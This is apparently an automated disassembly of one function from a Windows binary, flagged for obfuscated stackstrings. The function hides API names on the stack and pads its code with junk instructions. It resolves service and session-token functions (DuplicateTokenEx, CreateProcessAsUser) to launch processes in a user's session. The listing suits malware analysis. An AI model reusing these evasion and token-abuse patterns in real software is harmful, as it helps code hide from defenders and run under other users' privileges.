Function at 0x40260a
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44243e
mov eax, dword fs:[0]
push eax
push ecx
mov eax, 0x11c0
call fcn.00402fa0
mov eax, dword [0x44d014]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x11b4], eax
xor eax, eax
mov dword [ebp - 0x11c0], eax
mov dword [ebp - 4], eax
call fcn.0040e362
call fcn.0040e362
push ecx
mov ecx, 0x4a08c789
xor ecx, esp
sbb ecx, esp
xor ecx, esp
xor ecx, esp
or ecx, ebp
pop ecx
push 2
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
movaps xmm0, xmmword [0x4432a0]
lea eax, [ebp - 0x140]
push eax
xor ebx, ebx
mov dword [ebp - 0x6c], 0x61737477
lea eax, [ebp - 0x30]
mov dword [ebp - 0x68], 0x32336970
push eax
mov dword [ebp - 0x64], 0x6c6c642e
mov byte [ebp - 0x60], bl
mov dword [ebp - 0x30], 0x6e72654b
mov dword [ebp - 0x2c], 0x32336c65
mov dword [ebp - 0x28], 0x6c6c642e
mov byte [ebp - 0x24], bl
mov dword [ebp - 0x5c], 0x61766441
mov dword [ebp - 0x58], 0x32336970
mov dword [ebp - 0x54], 0x6c6c642e
mov byte [ebp - 0x50], bl
mov dword [ebp - 0x20], 0x72657355
mov dword [ebp - 0x1c], 0x2e766e45
mov dword [ebp - 0x18], 0x6c6c64
movups xmmword [ebp - 0x140], xmm0
mov dword [ebp - 0x130], 0x64496e6f
mov byte [ebp - 0x12c], bl
call fcn.00401931
movaps xmm0, xmmword [0x4432e0]
mov dword [0x457638], eax
lea eax, [ebp - 0xdc]
push eax
lea eax, [ebp - 0x30]
mov dword [ebp - 0xcc], 0x53656c6f
push eax
movups xmmword [ebp - 0xdc], xmm0
mov dword [ebp - 0xc8], 0x69737365
mov dword [ebp - 0xc4], 0x64496e6f
mov byte [ebp - 0xc0], bl
call fcn.00401931
movaps xmm0, xmmword [0x4432c0]
mov dword [0x45763c], eax
lea eax, [ebp - 0x128]
push eax
lea eax, [ebp - 0x20]
mov dword [ebp - 0x118], 0x6f6c4274
push eax
movups xmmword [ebp - 0x128], xmm0
mov word [ebp - 0x114], 0x6b63
mov byte [ebp - 0x112], bl
call fcn.00401931
movaps xmm0, xmmword [str.RegisterServiceCCreateProcessAsUSysAllocStringLeWTSQueryUserTokeDestroyEnvironmeProcessIdToSessiStartServiceCtrlCreateEnvironmenGetForegroundWinWTSGetActiveConsSetServiceStatusDuplicateTokenEx_wE]
mov dword [0x457640], eax
lea eax, [ebp - 0xbc]
push eax
lea eax, [ebp - 0x5c]
mov dword [ebp - 0xac], 0x486c7274
push eax
movups xmmword [ebp - 0xbc], xmm0
mov dword [ebp - 0xa8], 0x6c646e61
mov dword [ebp - 0xa4], 0x78457265
mov word [ebp - 0xa0], 0x41
call fcn.00401931
mov dword [0x457644], eax
lea eax, [ebp - 0x8c]
push eax
lea eax, [ebp - 0x6c]
mov dword [ebp - 0x8c], 0x46535457
push eax
mov dword [ebp - 0x88], 0x4d656572
mov dword [ebp - 0x84], 0x726f6d65
mov word [ebp - 0x80], 0x79
call fcn.00401931
mov dword [0x457648], eax
movaps xmm0, xmmword [0x443290]
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x20]
mov dword [ebp - 0x100], 0x6c42746e
push eax
movups xmmword [ebp - 0x110], xmm0
mov dword [ebp - 0xfc], 0x6b636f
call fcn.00401931
movaps xmm0, xmmword [0x443270]
mov dword [0x45764c], eax
lea eax, [ebp - 0x168]
push eax
lea eax, [ebp - 0x40]
mov dword [ebp - 0x40], 0x41656c4f
push eax
mov dword [ebp - 0x3c], 0x32337475
mov dword [ebp - 0x38], 0x6c6c642e
mov byte [ebp - 0x34], bl
movups xmmword [ebp - 0x168], xmm0
mov word [ebp - 0x158], 0x6e
call fcn.00401931
mov dword [0x457630], eax
lea eax, [ebp - 0x9c]
push eax
lea eax, [ebp - 0x40]
mov dword [ebp - 0x9c], 0x46737953
push eax
mov dword [ebp - 0x98], 0x53656572
mov dword [ebp - 0x94], 0x6e697274
mov word [ebp - 0x90], 0x67
call fcn.00401931
add esp, 0x40
mov dword [ebp - 0x11bc], eax
push eax
mov eax, 0xa33bd470
xor eax, eax
xor eax, esp
sbb eax, eax
xor eax, esp
pop eax
call fcn.0040e362
call fcn.0040e362
push eax
sbb eax, eax
add eax, esi
sbb eax, esp
sbb eax, edx
add eax, eax
sbb eax, esi
sbb eax, esp
pop eax
xor eax, eax
inc eax
push 0x41
push eax
push 0x4576f8
call fcn.004010d2
add esp, 0xc
test eax, eax
je 0x402983
push 0x40
push 3
push 0x457678
call fcn.004010d2
add esp, 0xc
test eax, eax
je 0x402983
xor ecx, ecx
mov al, byte [ecx + 0x457678]
mov byte [ecx + 0x4576b8], al
inc ecx
test al, al
jne 0x402921
push eax
mov eax, 0x5e25edb8
mov eax, 0x9a5716d6
or eax, ebp
pop eax
xor eax, eax
inc eax
cmp dword [ebp + 8], eax
jle 0x402cf8
push eax
lea eax, [ebp - 0x1a8]
push eax
call fcn.0040159f
mov ebx, dword [ebp - 0x11b4]
push eax
push dword [ebx + 4]
call fcn.0040e280
add esp, 0x10
test eax, eax
jne 0x40299f
call fcn.0040171b
push ecx
mov ecx, 0x77b9fd44
sbb ecx, eax
add ecx, esi
sbb ecx, esp
sbb ecx, edx
pop ecx
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00402e85
leave
ret
lea eax, [ebp - 0x1a8]
push 2
push eax
call fcn.0040159f
push eax
push dword [ebx + 4]
call fcn.0040e280
add esp, 0x10
test eax, eax
jne 0x4029c4
call fcn.004025a2
jmp 0x402983
lea eax, [ebp - 0x1a8]
push 3
push eax
call fcn.0040159f
push eax
push dword [ebx + 4]
call fcn.0040e280
add esp, 0x10
test eax, eax
jne 0x4029f9
call fcn.00402310
push eax
add eax, eax
add eax, eax
xor eax, eax
add eax, eax
add eax, eax
xor eax, eax
add eax, eax
pop eax
jmp 0x402983
push 4
pop edi
lea eax, [ebp - 0x1a8]
push edi
push eax
call fcn.0040159f
push eax
push dword [ebx + 4]
call fcn.0040e280
add esp, 0x10
test eax, eax
jne 0x402a23
call fcn.00402530
jmp 0x402983
cmp dword [ebp + 8], 3
jle 0x402983
lea eax, [ebp - 0x1a8]
push 5
push eax
call fcn.0040159f
push eax
push dword [ebx + 4]
call fcn.0040e280
add esp, 0x10
test eax, eax
jne 0x402983
push dword [ebx + 0xc]
call fcn.00401910
pop ecx
xor ecx, ecx
mov dword [ebp - 0x11b8], eax
inc ecx
movzx edx, cl
xor ecx, ecx
cmp eax, 0xffffffff
cmove edx, ecx
mov dword [ebp - 0x11ac], edx
test eax, eax
je 0x402abc
push ecx
add ecx, esi
mov ecx, 0xdfcebfb2
xor ecx, esp
xor ecx, esp
sbb ecx, esp
xor ecx, esp
pop ecx
mov edi, dword [ebp - 0x11b8]
xor esi, esi
cmp esi, 0x1e
jge 0x402aad
push 0x5dc
call dword [sym.imp.KERNEL32.dll_Sleep]
push edi
call fcn.0040183d
pop ecx
test eax, eax
je 0x402aad
inc esi
jmp 0x402a8f
mov edx, dword [ebp - 0x11ac]
mov ebx, dword [ebp - 0x11b4]
push 4
pop edi
xor eax, eax
lea ecx, [ebp - 0x1a8]
mov dword [ebp - 0x11b8], eax
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402acd
sub ecx, esi
test ecx, ecx
jle 0x402983
push 0x10
test dl, dl
pop eax
cmovne eax, edi
mov ecx, dword [eax + ebx]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402aec
sub ecx, edx
mov dword [ebp - 0x11b0], ecx
push eax
add eax, esp
add eax, esi
xor eax, eax
sub eax, ebx
nop
pop eax
mov esi, dword [ebp - 0x11b0]
test esi, esi
jle 0x402983
cmp byte [ebp - 0x11ac], 0
je 0x402b6e
mov edi, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea eax, [ebp - 0x1a8]
xor ebx, ebx
push ebx
push ebx
push esi
push eax
push ebx
push ebx
call edi
mov dword [ebp - 0x11b0], eax
test eax, eax
jle 0x402b5a
push eax
push ebx
call dword [0x457630]
push dword [ebp - 0x11b0]
mov dword [ebp - 0x11ac], eax
push eax
lea eax, [ebp - 0x1a8]
jmp 0x402bc8
push edi
xor edi, edx
sbb edi, eax
xor edi, esi
xor edi, esp
sbb edi, edx
xor edi, eax
nop
pop edi
jmp 0x402983
mov eax, dword [ebp - 0x11b4]
lea edx, [ebp - 0x11a8]
mov ecx, dword [eax + 0x10]
sub edx, ecx
mov al, byte [ecx]
mov byte [ecx + edx], al
inc ecx
test al, al
jne 0x402b7f
mov edi, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea eax, [ebp - 0x11a8]
xor ebx, ebx
push ebx
push ebx
push esi
push eax
push ebx
push ebx
call edi
mov dword [ebp - 0x11b0], eax
test eax, eax
jle 0x402ce5
push eax
push ebx
call dword [0x457630]
push dword [ebp - 0x11b0]
mov dword [ebp - 0x11ac], eax
push eax
lea eax, [ebp - 0x11a8]
push esi
push eax
push ebx
push ebx
call edi
push ebx
add ebx, edx
sbb ebx, eax
mov ebx, 0x4880baf6
sub ebx, ecx
pop ebx
mov esi, dword [ebp - 0x11b4]
mov edi, dword [esi + 8]
lea ecx, [edi + 1]
mov al, byte [edi]
inc edi
test al, al
jne 0x402be7
xor ebx, ebx
sub edi, ecx
push ebx
push ebx
push edi
push dword [esi + 8]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov dword [ebp - 0x11b0], eax
test eax, eax
jle 0x402c90
push eax
push ebx
call dword [0x457630]
push dword [ebp - 0x11b0]
mov dword [ebp - 0x11b8], eax
push eax
push edi
push dword [esi + 8]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movaps xmm0, xmmword [0x4432d0]
lea eax, [ebp - 0x154]
push eax
lea eax, [ebp - 0x4c]
mov dword [ebp - 0x4c], 0x72657355
push eax
mov dword [ebp - 0x48], 0x642e3233
mov word [ebp - 0x44], 0x6c6c
mov byte [ebp - 0x42], bl
movups xmmword [ebp - 0x154], xmm0
mov dword [ebp - 0x144], 0x776f64
call fcn.00401931
pop ecx
pop ecx
call eax
push dword [ebp - 0x11ac]
mov ecx, eax
mov eax, dword [ebp - 0x11b8]
push eax
push ecx
call fcn.00401c8f
add esp, 0xc
mov dword [ebp - 0x11c0], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp dword [ebp - 0x11bc], ebx
je 0x402cca
push ebx
mov ebx, 0x82d72f88
xor ebx, esp
xor ebx, eax
nop
pop ebx
mov eax, dword [ebp - 0x11ac]
mov ebx, dword [ebp - 0x11bc]
test eax, eax
je 0x402cbd
push eax
call ebx
mov eax, dword [ebp - 0x11b8]
test eax, eax
je 0x402cca
push eax
call ebx
push ecx
sbb ecx, edx
sbb ecx, edx
add ecx, edx
sbb ecx, edx
sbb ecx, edx
add ecx, edx
sbb ecx, edx
pop ecx
mov eax, dword [ebp - 0x11c0]
jmp 0x402985
push ecx
add ecx, esi
add ecx, esp
xor ecx, edx
add ecx, eax
add ecx, esi
xor ecx, esp
pop ecx
jmp 0x402983
xor eax, eax
mov dword [ebp - 0x11d0], 0x457678
mov dword [ebp - 0x11cc], 0x402462
mov dword [ebp - 0x11c8], eax
mov dword [ebp - 0x11c4], eax
call fcn.0040e362
push eax
mov eax, 0xc4176bc1
mov eax, 0x478fd926
sbb eax, esp
nop
pop eax
movaps xmm0, xmmword [0x4432b0]
xor eax, eax
mov byte [ebp - 0x70], al
lea eax, [ebp - 0xf8]
push eax
lea eax, [ebp - 0x7c]
mov dword [ebp - 0x7c], 0x61766441
push eax
mov dword [ebp - 0x78], 0x32336970
mov dword [ebp - 0x74], 0x6c6c642e
movups xmmword [ebp - 0xf8], xmm0
mov dword [ebp - 0xe8], 0x70736944
mov dword [ebp - 0xe4], 0x68637461
mov dword [ebp - 0xe0], 0x417265
call fcn.00401931
pop ecx
pop ecx
test eax, eax
je 0x402983
lea ecx, [ebp - 0x11d0]
push ecx
call eax
jmp 0x402983